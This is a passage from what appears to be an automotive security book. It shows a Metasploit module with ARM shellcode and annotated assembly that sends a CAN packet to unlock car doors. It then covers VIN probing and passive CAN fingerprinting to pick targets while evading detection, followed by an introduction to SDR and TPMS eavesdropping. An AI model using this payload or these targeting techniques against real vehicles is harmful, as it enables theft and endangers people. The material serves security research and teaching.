on	ARM	Linux	with	an	Ethernet	bus.	Instead	of	modifying	temperature,	this
shellcode	unlocks	the	car	doors.	The	following	code	is	a	standard	payload
structure,	other	than	the	payload	variable	that	we	set	to	the	desired	vehicle
shellcode.

Require	'msf/core'

module	Metasploit3
include	Msf::Payload::Single
include	Msf::Payload::Linux

def	initialize(info	=	{})
super(merge_info(info,
'Name'	=>	'Unlock	Car',
'Description'	=>	'Unlocks	the	Driver	Car	Door	over	Ethernet',
'Author'	=>	'Craig	Smith',
'License'	=>	MSF_LICENSE,
'Platform'	=>	'linux',
'Arch'	=>	ARCH_ARMLE))
end
def	generate_stage(opts={})

➊	payload	=
"\x02\x00\xa0\xe3\x02\x10\xa0\xe3\x11\x20\xa0\xe3\x07\x00\x2d\
xe9\x01\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x0c\xd0\x8d\xe2\x00\x60\
xa0\xe1\x21\x13\xa0\xe3\x4e\x18\x81\xe2\x02\x10\x81\xe2\xff\x24\xa0\xe3\x45\
x28\x82\xe2\x2a\x2b\x82\xe2\xc0\x20\x82\xe2\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\
x10\x20\xa0\xe3\x07\x00\x2d\xe9\x03\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\
xef\x14\xd0\x8d\xe2\x12\x13\xa0\xe3\x02\x18\x81\xe2\x02\x28\xa0\xe3\x00\x30\



xa0\xe3\x0e\x00\x2d\xe9\x0d\x10\xa0\xe1\x0c\x20\xa0\xe3\x06\x00\xa0\xe1\x07\
x00\x2d\xe9\x09\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x0c\xd0\x8d\xe2\
x00\x00\xa0\xe3\x1e\xff\x2f\xe1"
end
end

Listing	11-4:	Template	for	Metasploit	payload	using	our	shellcode

The	payload	variable	➊	in	Listing	11-4	translates	to	the	following	ARM
assembly	code:

/*	Grab	a	socket	handler	for	UDP	*/
mov	%r0,	$2	/*	AF_INET	*/
mov	%r1,	$2	/*	SOCK_DRAM	*/
mov	%r2,	$17	/*	UDP	*/
push	{%r0,	%r1,	%r2}
mov	%r0,	$1	/*	socket	*/
mov	%r1,	%sp
svc	0x00900066
add	%sp,	%sp,	$12

/*	Save	socket	handler	to	%r6	*/
mov	%r6,	%r0

/*	Connect	to	socket	*/
mov	%r1,	$0x84000000
add	%r1,	$0x4e0000
add	%r1,	$2	/*	20100	&	AF_INET	*/
mov	%r2,	$0xff000000
add	%r2,	$0x450000
add	%r2,	$0xa800
add	%r2,	$0xc0	/*	192.168.69.255	*/
push	{%r1,	%r2}
mov	%r1,	%sp
mov	%r2,	$16	/*	sizeof	socketaddr_in	*/
push	{%r0,	%r1,	%r2}
mov	%r0,	$3	/*	connect	*/
mov	%r1,	%sp
svc	0x00900066
add	%sp,	%sp,	$20

/*	CAN	Packet	*/
/*	0000	0248	0000	0200	0000	0000	*/
mov	%r1,	$0x48000000	/*	Signal	*/
add	%r1,	$0x020000
mov	%r2,	$0x00020000	/*	1st	4	bytes	*/
mov	%r3,	$0x00000000	/*	2nd	4	bytes	*/
push	{%r1,	%r2,	%r3}
mov	%r1,	%sp
mov	%r2,	$12	/*	size	of	pkt	*/



/*	Send	CAN	Packet	over	UDP	*/
mov	%r0,	%r6
push	{%r0,	%r1,	%r2}
mov	%r0,	$9	/*	send	*/
mov	%r1,	%sp
svc	0x00900066
add	%sp,	%sp,	$12

/*	Return	from	main	-	Only	for	testing,	remove	for	exploit	*/
mov	%r0,	$0
bx	lr

This	code	is	similar	to	the	shellcode	we	created	in	Listing	11-3,	except
that	it’s	built	for	ARM	rather	than	x64	Intel,	and	it	functions	over	Ethernet
instead	of	talking	directly	to	the	CAN	drivers.	Of	course,	if	the	infotainment
center	uses	a	CAN	driver	rather	than	an	Ethernet	driver,	you	need	to	write
to	the	CAN	driver	instead	of	the	network.

Once	you	have	a	payload	ready,	you	can	add	it	to	the	arsenal	of	existing
Metasploit	exploits	for	use	against	a	vehicle’s	infotainment	center.	Because
Metasploit	parses	the	payload	file,	you	can	simply	choose	it	as	an	option	to
use	against	any	target	infotainment	unit.	If	a	vulnerability	is	found,	the
payload	will	run	and	perform	the	action	of	the	packet	you	mimicked,	such	as
unlocking	the	doors,	starting	the	car,	and	so	on.

NOTE

You	could	write	your	weaponizing	program	in	assembly	and	use	it	as	your
exploit	rather	than	going	through	Metasploit,	but	I	recommend	using
Metasploit.	It	has	a	large	collection	of	vehicle-based	payloads	and	exploits
available,	so	it’s	worth	the	extra	time	it	takes	to	convert	your	code.

Determining	Your	Target	Make
So	far	you’ve	located	a	vulnerability	in	an	infotainment	unit	and	you	have
the	CAN	bus	packet	payload	ready	to	go.	If	your	intention	was	to	perform	a
security	engagement	on	just	one	type	of	vehicle,	you’re	good	to	go.	But	if
you	intend	to	use	your	payload	on	all	vehicles	with	a	particular	infotainment
or	telematics	system	installed,	you	have	a	bit	more	to	do;	these	systems	are
installed	by	various	manufacturers	and	CAN	bus	networks	vary	between
manufacturers	and	even	between	models.



In	order	to	use	this	exploit	against	more	than	one	type	of	vehicle,	you’ll
need	to	detect	the	make	of	the	vehicle	that	your	shellcode	is	executing	on
before	transmitting	packets.

WARNING

Failure	to	detect	the	make	of	the	vehicle	could	produce	unexpected	results	and
could	be	very	dangerous!	For	example,	a	packet	that	on	one	make	of	vehicle
unlocks	the	car	door	could	bleed	the	brakes	on	another.	There’s	no	way	to	know
for	sure	where	your	exploit	will	run,	so	be	sure	to	verify	the	vehicle.

Determining	the	make	of	vehicle	is	analogous	to	determining	which	OS
version	the	target	host	is	running,	as	we	did	in	“Determining	the	Update
File	Type”	on	page	160.	You	may	be	able	to	find	this	information	in	the
memory	space	of	the	infotainment	unit	by	adding	the	ability	to	scan	RAM	in
your	shellcode.	Otherwise,	there	are	two	ways	to	determine	what	type	of
vehicle	your	code	is	running	on	via	the	CAN	bus:	interactive	probing	and
passive	CAN	bus	fingerprinting.

Interactive	Probing
The	interactive	probing	method	involves	using	the	ISO-TP	packets	to	query
the	PID	that	holds	the	VIN.	If	we	can	access	the	VIN	and	decipher	the
code,	it’ll	tell	us	the	make	and	model	of	the	target	vehicle.

Querying	the	VIN
Recall	from	“Sending	Data	with	ISO-TP	and	CAN”	on	page	55	that	you	use
the	OBD-II	Mode	2	PID	9	protocol	to	query	the	VIN.	This	protocol	uses
the	ISO-TP	multipacket	standard,	which	can	be	cumbersome	to	implement
in	shellcode.	You	can,	however,	just	take	what	you	need	from	the	ISO-TP
standard	rather	than	implementing	it	in	full.	For	example,	because	ISO-TP
runs	as	normal	CAN	traffic,	you	could	send	a	packet	with	your	shellcode
using	an	ID	of	0x7DF	and	a	3-byte	packet	payload	of	0x02	0x09	0x02;	then
you	could	receive	normal	CAN	traffic	with	an	ID	0x7E8.	The	first	packet
received	will	be	part	of	a	multipart	packet	followed	by	the	remaining	packets.
The	first	packet	has	the	most	significant	information	in	it	and	may	be	all	you
need	to	differentiate	between	vehicles.



NOTE

You	could	assemble	the	multipart	packet	yourself	and	then	implement	a	full
VIN	decoder,	but	doing	so	can	be	inefficient.	Regardless	of	whether	you
reassemble	the	full	VIN	or	just	use	a	segment	of	the	VIN,	it’s	better	to	decode
the	VIN	yourself.

Decoding	the	VIN
The	VIN	has	a	fairly	simple	layout.	The	first	three	characters,	known	as	the
World	Manufacturer	Identifier	(WMI)	code,	represent	the	make	of	the	vehicle.
The	first	character	in	the	WMI	code	determines	the	region	of	manufacture.
The	next	two	characters	are	manufacturer	specific.	(The	list	is	too	long	to
print	here,	but	you	can	find	a	list	of	WMI	codes	with	a	simple	online	search.)
For	example,	in	Chapter	4	(see	Table	4-4	on	page	57)	we	had	a	VIN	of
1G1ZT53826F109149,	which	gave	us	a	WMI	of	1G1.	According	to	the
WMI	codes,	this	tells	us	that	the	make	of	the	car	is	Chevrolet.

The	next	6	bytes	of	the	VIN	make	up	the	Vehicle	Descriptor	Section	(VDS).
The	first	2	bytes	in	the	VDS—bytes	4	and	5	of	the	VIN—tell	us	the	vehicle
model	and	other	specs,	such	as	how	many	doors	the	vehicle	has,	the	engine
size,	and	so	on.	For	example,	in	the	VIN	1G1ZT53826F109149,	the	VDS	is
ZT5382,	of	which	ZT	gives	us	the	model.	A	quick	search	online	tells	us	that
this	is	a	Chevrolet	Malibu.	(The	details	of	the	VDS	vary	depending	on	the
vehicle	and	the	manufacturer.)

If	you	need	the	year	your	vehicle	was	made,	you’ll	have	to	grab	more
packets	because	the	year	is	stored	at	byte	10.	This	byte	isn’t	directly
translatable,	and	you’ll	need	to	use	a	table	to	determine	the	year	(see	Table
11-1).

Table	11-1:	Determining	the	Year	of	Manufacture

Character Year Character Year Character Year Character Year

A 1980 L 1990 Y 2000 A 2010

B 1981 M 1991 1 2001 B 2011

C 1982 N 1992 2 2002 C 2012

D 1983 P 1993 3 2003 D 2013



E 1984 R 1994 4 2004 E 2014

F 1985 W 1995 5 2005 F 2015

G 1986 T 1996 6 2006 G 2016

H 1987 V 1997 7 2007 H 2017

J 1988 W 1998 8 2008 J 2018

K 1989 X 1999 9 2009 K 2019

For	exploit	purposes,	knowing	the	year	isn’t	as	important	as	knowing
whether	your	code	will	work	on	your	target	vehicle,	but	if	your	exploit
depends	on	an	exact	make,	model,	and	year,	you’ll	need	to	perform	this	step.
For	instance,	if	you	know	that	the	infotainment	system	you’re	targeting	is
installed	in	both	Honda	Civics	and	Pontiac	Azteks,	you	can	check	the	VIN
to	see	whether	your	target	vehicle	fits.	Hondas	are	manufactured	in	Japan
and	Pontiacs	are	made	in	North	America,	so	the	first	byte	of	the	WMI	needs
to	be	either	a	J	or	a	1,	respectively.

NOTE

Your	payload	would	still	work	on	other	vehicles	made	in	North	America	or
Japan	if	that	radio	unit	is	installed	in	some	other	vehicle	that	you’re	unaware
of.

Once	you	know	what	platform	you’re	running	on,	you	can	either	execute
the	proper	payload	if	you’ve	found	the	right	vehicle	or	exit	out	gracefully.

Detection	Risk	of	Interactive	Probing
The	advantage	of	using	interactive	probing	to	determine	the	make	of	your
target	vehicle	is	that	this	method	will	work	for	any	make	or	model	of	car.
Every	car	has	a	VIN	that	can	be	decoded	to	give	you	the	information	you
need,	and	you	need	no	prior	knowledge	of	the	platform’s	CAN	packets	in
order	to	make	a	VIN	query.	However,	this	method	does	require	you	to
transmit	the	query	on	the	CAN	bus,	which	means	it’s	detectable	and	you	may
be	discovered	before	you	can	trigger	your	payload.	(Also,	our	examples	used
cheap	hacks	to	avoid	properly	handling	ISO-TP,	which	could	lead	to	errors.)



Passive	CAN	Bus	Fingerprinting
If	you’re	concerned	about	being	detected	before	you	can	use	your	payload,
you	should	avoid	any	sort	of	active	probing.	Passive	CAN	bus	fingerprinting
is	less	detectable,	so	if	you	discover	that	the	model	vehicle	you’re	targeting
isn’t	supported	by	your	exploit,	you	can	exit	gracefully	without	having
created	any	network	traffic,	thus	limiting	your	chances	of	being	detected.
Passive	CAN	bus	fingerprinting	involves	monitoring	network	traffic	to
gather	information	unique	to	certain	makes	of	vehicles	and	then	matching
that	information	to	a	known	fingerprint.	This	area	of	research	is	relatively
new,	and	as	of	this	writing,	the	only	tools	available	for	gathering	and
detecting	bus	fingerprints	are	the	ones	released	by	Open	Garages.

The	concept	of	passive	CAN	bus	fingerprinting	is	taken	from	IPv4
passive	operating	system	fingerprinting,	like	that	used	by	the	p0f	tool.	When
passive	IPv4	fingerprinting,	details	in	the	packet	header,	such	as	the	window
size	and	TTL	values,	can	be	used	to	identify	the	operating	system	that
created	the	packet.	By	monitoring	network	traffic	and	knowing	which
operating	systems	set	which	values	in	the	packet	header	by	default,	it’s
possible	to	determine	which	operating	system	the	packet	originated	from
without	transmitting	on	the	network.

We	can	use	a	similar	methodology	with	CAN	packets.	The	unique
identifiers	for	CAN	are	as	follows:

•	Dynamic	size	(otherwise	set	to	8	bytes)

•	Intervals	between	signals

•	Padding	values	(0x00,	0xFF	0xAA,	and	so	on)

•	Signals	used

Because	different	makes	and	models	use	different	signals,	unique	signal
IDs	can	reveal	the	type	of	vehicle	that’s	being	examined.	And	even	when	the
signal	IDs	are	the	same,	the	timing	intervals	can	be	unique.	Each	CAN
packet	has	a	DLC	field	to	define	the	length	of	the	data,	though	some
manufacturers	will	set	this	to	8	by	default	and	pad	out	the	data	to	always
ensure	that	8	bytes	are	used.	Manufacturers	will	use	different	values	to	pad
their	data,	so	this	can	also	be	an	indicator	of	the	make.



CAN	of	Fingers
The	Open	Garages	tool	for	passive	fingerprinting	is	called	CAN	of	Fingers
(c0f)	and	is	available	for	free	at	https://github.com/zombieCraig/c0f/.	c0f
samples	a	bunch	of	CAN	bus	packets	and	creates	a	fingerprint	that	can	later
be	identified	and	stored.	A	fingerprint	from	c0f—a	JSON	consumable	object
—might	look	like	this:

{"Make":	"Unknown",	"Model":	"Unknown",	"Year":	"Unknown",	"Trim":
"Unknown",
"Dynamic":	"true",	"Common":	[	{	"ID":	"166"	},{	"ID":	"158"	},{	"ID":
"161"	},
{	"ID":	"191"	},{	"ID":	"18E"	},{	"ID":	"133"	},{	"ID":	"136"	},{	"ID":
"13A"	},
{	"ID":	"13F"	},{	"ID":	"164"	},{	"ID":	"17C"	},{	"ID":	"183"	},{	"ID":
"143"	},
{	"ID":	"095"	}	],	"MainID":	"143",	"MainInterval":
"0.009998683195847732"}

Five	fields	make	up	the	fingerprint:	Make,	Model,	Year,	Trim,	and	Dynamic.
The	first	four	values—Make,	Model,	Year,	and	Trim—are	all	listed	as	Unknown	if
they’re	not	in	the	database.	Table	11-2	lists	the	identified	attributes	that	are
unique	to	the	vehicle.

Table	11-2:	Vehicle	Attributes	for	Passive	Fingerprinting

Attribute Value
type

Description

Dynamic Binary
value

If	the	DLC	has	a	dynamic	length,	this	is	set	to	true.

Padding Hex
value

If	padding	is	used,	this	attribute	will	be	set	to	the	byte
used	for	padding.	This	example	does	not	have	padding,
so	the	attribute	is	not	included.

Common Array	of
IDs

The	common	signal	IDs	based	on	the	frequency	seen	on
the	bus.

Main	ID Hex	ID The	most	common	signal	ID	based	on	the	frequency	of
occurrence	and	interval.

Main
Interval

Floating
point

The	shortest	interval	time	of	the	most	common	ID
(MainID)	that	repeats	on	the	bus.

https://github.com/zombieCraig/c0f/


value

Using	c0f
Many	CAN	signals	that	fire	at	intervals	will	appear	in	a	logfile	the	same
amount	of	times	as	each	other,	with	similar	intervals	between	occurrences.
c0f	will	group	the	signals	together	by	the	number	of	occurrences.

To	get	a	better	idea	of	how	c0f	determines	the	common	and	main	IDs,
run	c0f	with	the	--print-stats	option,	as	shown	in	Listing	11-5.

$	bundle	exec	bin/c0f	--logfile	test/sample-can.log	--print-stats
Loading	Packets...	6158/6158
|*******************************************
*******|	0:00
Packet	Count	(Sample	Size):	6158
Dynamic	bus:	true
[Packet	Stats]
166	[4]	interval	0.010000110772939828	count	326
158	[8]	interval	0.009999947181114783	count	326
161	[8]	interval	0.009999917103694035	count	326
191	[7]	interval	0.009999932509202223	count	326
18E	[3]	interval	0.010003759677593524	count	326
133	[5]	interval	0.0099989076761099	count	326
136	[8]	interval	0.009998913544874925	count	326
13A	[8]	interval	0.009998914278470553	count	326
13F	[8]	interval	0.009998904741727389	count	326
164	[8]	interval	0.009998898872962365	count	326
17C	[8]	interval	0.009998895204984225	count	326
183	[8]	interval	0.010000821627103366	count	326

➊	039	[2]	interval	0.015191149488787786	count	215
➋	143	[4]	interval	0.009998683195847732	count	326
095	[8]	interval	0.010001396766075721	count	326
1CF	[6]	interval	0.01999976016857006	count	163
1DC	[4]	interval	0.019999777829205548	count	163
320	[3]	interval	0.10000315308570862	count	33
324	[8]	interval	0.10000380873680115	count	33
37C	[8]	interval	0.09999540448188782	count	33
1A4	[8]	interval	0.01999967775227111	count	163
1AA	[8]	interval	0.019999142759334967	count	162
1B0	[7]	interval	0.019999167933967544	count	162
1D0	[8]	interval	0.01999911758470239	count	162
294	[8]	interval	0.039998024702072144	count	81
21E	[7]	interval	0.039998024702072144	count	81
309	[8]	interval	0.09999731183052063	count	33
333	[7]	interval	0.10000338862019201	count	32
305	[2]	interval	0.1043075958887736	count	31
40C	[8]	interval	0.2999687910079956	count	11
454	[3]	interval	0.2999933958053589	count	11



428	[7]	interval	0.3000006914138794	count	11
405	[8]	interval	0.3000005006790161	count	11
5A1	[8]	interval	1.00019109249115	count	3

Listing	11-5:	Running	c0f	with	the	--print-stats	option

The	common	IDs	are	the	grouping	of	signals	that	occurred	326	times
(the	highest	count).	The	main	ID	is	the	common	ID	with	the	shortest
average	interval—in	this	case,	signal	0x143	at	0.009998	ms	➋.

The	c0f	tool	saves	these	fingerprints	in	a	database	so	that	you	can
passively	identify	buses,	but	for	the	purpose	of	shellcode	development,	we
can	just	use	main	ID	and	main	interval	to	quickly	determine	whether	we’re
on	the	target	we	expect	to	be	on.	Taking	the	result	shown	in	Listing	11-5	as
our	target,	we’d	listen	to	the	CAN	socket	for	signal	0x143	and	know	that	the
longest	we’d	have	to	wait	is	0.009998	ms	before	aborting	if	we	didn’t	see	an
ID	of	0x143.	(Just	be	sure	that	when	you’re	checking	how	much	time	has
passed	since	you	started	sniffing	the	bus,	you	use	a	time	method	with	high
precision,	such	as	clock_gettime.)	You	could	get	more	fine-grained
identification	by	ensuring	that	you	also	identified	all	of	the	common	IDs	as
well.

It’s	possible	to	design	fingerprints	that	aren’t	supported	by	c0f.	For
instance,	notice	in	the	c0f	statistical	output	in	Listing	11-5	that	the	signal	ID
0x039	occurred	215	times	➊.	That’s	a	strange	ratio	compared	to	the	other
common	packets.	The	common	packets	are	occurring	about	5	percent	of	the
time,	but	0x039	occurs	about	3.5	percent	of	the	time	and	is	the	only	signal
with	that	ratio.	Your	shellcode	could	gather	a	common	ID	and	calculate	the
ratio	of	0x039	occurring	to	see	whether	it	matches.	This	could	just	be	a	fluke
based	on	current	vehicle	conditions	at	the	time	of	the	recording,	but	it	might
be	interesting	to	investigate.	The	sample	size	should	be	increased	and
multiple	runs	should	be	used	to	verify	findings	before	embedding	the
detection	into	your	shellcode.

NOTE

c0f	isn’t	the	only	way	to	quickly	detect	what	type	of	vehicle	you’re	on;	the
output	could	be	used	for	additional	creative	ways	to	identify	your	target	system
without	transmitting	packets.	The	future	may	bring	systems	that	can	hide
from	c0f,	or	we	may	discover	a	newer,	more	efficient	way	to	passively	identify	a



target	vehicle.

Responsible	Exploitation
You	now	know	how	to	identify	whether	your	exploit	is	running	on	the	target
it’s	designed	for	and	even	how	to	check	without	transmitting	a	single	packet.
You	don’t	want	to	flood	a	bus	with	a	bogus	signal,	as	this	will	shut	the
network	down,	and	flooding	the	wrong	signal	on	the	wrong	vehicle	can	have
unknown	affects.

When	sharing	exploit	code,	consider	adding	a	bogus	identification
routine	or	complete	VIN	check	to	prevent	someone	from	simply	launching
your	exploit	haphazardly.	Doing	so	will	at	least	force	the	script	kiddies	to
understand	enough	of	the	code	to	modify	it	to	fit	the	proper	vehicles.	When
attacking	interval-based	CAN	signals,	the	proper	way	to	do	this	is	to	listen
for	the	CAN	ID	you	want	to	modify	and,	when	you	receive	it	through	your
read	request,	to	modify	only	the	byte(s)	you	want	to	alter	and	immediately
send	it	back	out.	This	will	prevent	flooding,	immediately	override	the	valid
signal,	and	retain	any	other	attributes	in	the	signal	that	aren’t	the	target	of
the	attack.

Security	developers	need	access	to	exploits	to	test	the	strength	of	their
protections.	New	ideas	from	both	the	attack	and	defense	teams	need	to	be
shared,	but	do	so	responsibly.

Summary
In	this	chapter,	you	learned	how	to	build	working	payloads	from	your
research.	You	took	proof-of-concept	C	code,	converted	it	to	payloads	in
assembly,	and	then	converted	your	assembly	to	shellcodes	that	you	could	use
with	Metasploit	to	make	your	payloads	more	modular.	You	also	learned	safe
ways	to	ensure	that	your	payloads	wouldn’t	accidentally	be	run	on
unexpected	vehicles	with	the	help	of	VIN	decoding	and	passive	CAN	bus
identification	techniques.	You	even	learned	some	ways	to	prevent	script
kiddies	from	taking	your	code	and	injecting	it	into	random	vehicles.



12
ATTACKING	WIRELESS	SYSTEMS	WITH

SDR

In	this	chapter,	we’ll	delve	into	embedded	wireless	systems,	beginning	with
embedded	systems	that	transmit	simple	wireless	signals	to	the	ECU.
Embedded	wireless	systems	can	be	easy	targets.	They	often	rely	on	short-
range	signals	as	their	only	security,	and	because	they’re	small	devices	with
specific	functionalities,	there	are	typically	no	checks	from	the	ECU	to
validate	the	data	outside	of	the	signal	and	the	CRC	algorithm.	Such	systems
are	usually	good	stepping	stones	for	learning	before	looking	at	more
advanced	systems,	such	as	those	with	keyless	entry,	which	we’ll	look	at
hacking	in	the	latter	part	of	the	chapter.

We’ll	look	at	the	technology	that	unlocks	and	starts	your	vehicle	as	we
explore	both	the	wireless	side	of	keyless	entry	systems	and	the	encryption
they	use.	In	particular,	we’ll	focus	on	the	TPMS	and	wireless	key	systems.
We’ll	consider	possible	hacks,	including	ways	that	the	TPMS	could	be	used
to	track	a	vehicle,	trigger	events,	overload	the	ECU,	or	spoof	the	ECU	to
cause	unusual	behavior.

Wireless	Systems	and	SDR



First,	a	quick	primer	on	sending	and	receiving	wireless	signals.	To	perform
the	type	of	research	discussed	in	this	chapter,	you’ll	need	an	SDR,	a
programmable	radio	that	sells	anywhere	from	$20,	for	example,	RTL-SDR
(http://www.rtl-sdr.com/),	to	over	$2,000,	for	example,	a	Universal	Software
Radio	Peripheral	(USRP)	device	from	Ettus	Research	(http://www.ettus.com/).
The	HackRF	One	is	a	good	and	very	serviceable	option	from	Great	Scott
Gadgets	that	will	cost	you	about	$300,	but	you’ll	most	likely	want	two	so	you
can	send	and	receive	at	the	same	time.

One	significant	difference	between	SDR	devices	that	has	a	direct	effect
on	cost	is	the	sample	rate,	or	the	number	of	samples	of	audio	carried	per
second.	Unsurprisingly,	the	larger	your	sample	rate,	the	more	bandwidth
you	can	simultaneously	watch—but	also	the	more	expensive	the	SDR	and
the	faster	the	processor	needs	to	be.	For	instance,	the	RTL-SDR	maxes	out
at	around	3Mbps,	the	HackRF	at	20Mbps,	and	the	USRP	at	100Mbps.	As	a
point	of	reference,	20Mbps	will	let	you	sample	the	entire	FM	spectrum
simultaneously.	SDR	devices	work	well	with	the	free	GNU	Radio
Companion	(GRC)	from	GNURadio	(https://gnuradio.org/),	which	you	can
use	to	view,	filter,	and	demodulate	encoded	signals.	You	can	use	GNU
Radio	to	filter	out	desired	signals,	identify	the	type	of	modulation	being	used
(see	the	next	section),	and	apply	the	right	demodulator	to	identify	the
bitstream.	GNU	Radio	can	help	you	go	from	wireless	signals	directly	to	data
you	can	recognize	and	manipulate.

NOTE

See	the	Great	Scott	Gadgets	tutorials	at	http://greatscottgadgets.com/sdr/
for	more	on	how	to	use	SDR	devices	with	GNU	Radio.

Signal	Modulation
To	apply	the	right	demodulator,	you	first	need	to	be	able	to	identify	the	type
of	modulation	a	signal	is	using.	Signal	modulation	is	the	way	you	represent
binary	data	using	a	wireless	signal,	and	it	comes	into	play	when	you	need	to
be	able	to	tell	the	difference	between	a	digital	1	and	a	digital	0.	There	are
two	common	types	of	digital	signal	modulation:	amplitude-shift	keying
(ASK)	and	frequency-shift	keying	(FSK).

http://www.rtl-sdr.com/
http://www.ettus.com/
https://gnuradio.org/
http://greatscottgadgets.com/sdr/


Amplitude-Shift	Keying
When	ASK	modulation	is	used,	the	bits	are	designated	by	the	amplitude	of
the	signal.	Figure	12-1	shows	a	plot	of	the	signal	being	transmitted	in	carrier
waves.	A	carrier	wave	is	the	amplitude	of	the	carrier,	and	when	there’s	no
wave,	that’s	the	signal’s	resting	state.	When	the	carrier	line	is	high	for	a
specific	duration,	which	registers	as	a	wave,	that’s	a	binary	1.	When	the
carrier	line	is	at	a	resting	state	for	a	shorter	duration,	that’s	a	binary	0.

Figure	12-1:	ASK	modulation

ASK	modulation	is	also	known	as	on-off	keying	(OOK),	and	it	typically
uses	a	start-and-stop	bit.	Start-and-stop	bits	are	common	ways	to	separate
where	a	message	starts	and	where	it	stops.	Accounting	for	start-and-stop
bits,	Figure	12-1	could	represent	nine	bits:	0-1-1-0-1-1-0-1-0.

Frequency-Shift	Keying
Unlike	ASK,	FSK	always	has	a	carrier	signal	but	that	signal	is	instead
measured	by	how	quickly	it	changes—its	frequency	(see	Figure	12-2).

Figure	12-2:	FSK	modulation



In	FSK,	a	high-frequency	signal	is	a	0,	and	a	low-frequency	signal	is	a	1.
When	the	carrier	waves	are	close,	that’s	a	1,	and	when	they’re	spaced	farther
apart,	that’s	a	0.	The	bits	in	Figure	12-2	are	probably	1-0-0-1-0-0-1-0-1.

Hacking	with	TPMS
The	TPMS	is	a	simple	device	that	sits	inside	the	tire	and	sends	data	on	tire-
pressure	readings	and	wheel	rotation	and	temperature,	and	warnings	about
certain	conditions	like	low	sensor	batteries	to	the	ECU	(see	Figure	12-3).
The	data	is	then	displayed	to	the	driver	via	gauges,	digital	displays,	or
warning	lights.	In	the	fall	of	2000,	the	United	States	enacted	the
Transportation	Recall	Enhancement,	Accountability,	and	Documentation
(TREAD)	Act,	requiring	that	all	new	vehicles	have	a	TPMS	system	installed
in	order	to	improve	road	safety	by	alerting	drivers	to	underinflated	tires.
Thanks	to	TREAD,	the	TPMS	has	widespread	adoption,	making	it	a
prevalent	attack	target.



Figure	12-3:	Two	TPMS	sensors

The	TPMS	device	sits	inside	the	wheel	and	transmits	wirelessly	into	the
wheel	well,	allowing	its	signals	to	be	partially	shielded	by	the	body	of	the
vehicle	in	order	to	prevent	too	much	leakage.	Most	TPMS	systems	use	a
radio	to	communicate	with	the	ECU.	The	signal	frequency	varies	between
devices	but	typically	runs	at	315	MHz	or	433	MHz	UHF	and	uses	either
ASK	or	FSK	modulation.	Some	TPMS	systems	use	Bluetooth,	which	has	its
pros	and	cons	from	the	perspective	of	an	attacker:	Bluetooth	has	a	greater
default	range,	but	the	Bluetooth	protocol	can	also	enable	secure
communication,	making	it	harder	to	intercept	or	connect	to.	In	this	chapter,
I’ll	focus	on	TPMS	systems	that	use	radio	signals.

Eavesdropping	with	a	Radio	Receiver



Most	public	research	on	TPMS	security	is	summarized	in	“Security	and
Privacy	Vulnerabilities	of	In-Car	Wireless	Networks:	A	Tire	Pressure
Monitoring	System	Case	Study”	from	researchers	at	the	University	of	South
Carolina	and	Rutgers	University.1	The	paper	shows	how	the	researchers
were	able	to	eavesdrop	on	a	TPMS	system	from	40	m	away	using	a	relatively
low-cost	USRP	receiver	($700	to	$2,000)	to	sniff	its	wireless	signals.	(As
mentioned	earlier,	you	could	use	a	different	SDR.)	Once	the	signals	have
been	captured,	GNU	Radio	can	be	used	to	filter	and	demodulate	them.

TPMS	systems	have	very	weak	signals	and,	therefore,	don’t	leak	data	too
far	from	the	vehicle.	In	order	to	overcome	the	low	leakage	factor	of	a	TPMS
system,	you	could	add	a	low-noise	amplifier	(LNA)	to	your	radio	receiver	to
increase	the	sniffing	range,	which	should	allow	you	to	capture	a	TPMS
signal	from	the	side	of	the	road	or	from	a	vehicle	traveling	alongside	the
target.	You	could	also	implement	directional	antennas	to	boost	your	range.

TPMS	sensors	transmit	only	every	60	to	90	seconds,	and	sensors	usually
aren’t	required	to	send	information	until	the	vehicle	is	traveling	at	25	mph
or	higher.	However,	many	sensors	transmit	even	when	a	car	is	idle,	and	some
transmit	even	when	the	car	is	off.	When	auditing	a	stationary	vehicle	that’s
powered	off,	be	sure	to	send	a	wake-up	signal	to	trigger	a	response	from	the
TPMS.

The	best	way	to	know	how	your	target	TPMS	sensor	works	is	to	listen
for	packets	with	the	vehicle	completely	off.	You	most	likely	won’t	see	any
communication	without	a	wake-up	signal,	but	some	devices	may	transmit	at
slow	intervals	anyhow.	Next,	turn	the	vehicle	on	and	leave	it	in	an	idle	state.
The	ECU	should	prompt	the	tire	to	respond	at	the	very	least	during	startup,
but	most	likely	it’ll	poll	every	so	often.

Once	you	see	the	TPMS	signal,	you’ll	need	to	decode	it	in	order	for	its
contents	to	make	sense.	Thankfully,	researcher	Jared	Boone	has	made	that
easy	with	a	suite	of	tools	designed	to	capture	and	decode	TPMS	packets.
You’ll	find	the	source	code	for	his	gr-tpms	tool	at	https://github.com/jboone/gr-
tpms/	and	the	source	code	for	his	tpms	tool	at	https://github.com/jboone/tpms/.
After	using	these	tools	to	capture	and	decode	TPMS	packets,	you	can
analyze	the	captured	data	to	determine	which	bits	represent	the	system’s
unique	ID	as	well	as	any	other	fields.

TPMS	Packets

https://github.com/jboone/gr-tpms/
https://github.com/jboone/tpms/


TPMS	packets	will	typically	contain	the	same	information,	with	some
differences	between	models.	Figure	12-4	shows	an	example	of	a	TPMS
packet.

Figure	12-4:	An	example	TPMS	packet

The	SensorID	is	a	28-	or	32-bit	number	that’s	unique	to	each	sensor	and
registered	with	the	ECU.	If	your	only	goal	is	to	fingerprint	a	target	for
tracking	or	triggering	an	event,	the	SensorID	is	probably	the	only	part	of	the
packet	you’ll	care	about.	The	Pressure	and	Temperature	fields	contain
readings	from	the	TPMS	device.	The	Flags	field	can	contain	extra	meta-
data,	such	as	a	warning	about	a	low	battery	in	a	sensor.

When	determining	packet	encoding,	check	whether	Manchester
encoding	was	used.	Manchester	encoding	is	commonly	used	in	near-field
devices,	like	TPMS	systems.	If	you	know	what	chipset	is	being	used,	the	data
sheet	should	tell	you	whether	it	supports	Manchester	encoding.	If	it	does,
you’ll	first	need	to	decode	the	packet	before	parsing	its	contents.	Jared
Boone’s	tools	can	assist	with	this	task.

Activating	a	Signal
As	mentioned,	sensors	generally	transmit	around	once	a	minute,	but	rather
than	waiting	60	seconds	for	the	sensor	to	send	a	packet,	an	attacker	can	send
a	125	kHz	activation	signal	to	the	TPMS	device	with	an	SDR	to	elicit	a
response.	Your	interception	of	this	response	will	need	to	be	timed	carefully,
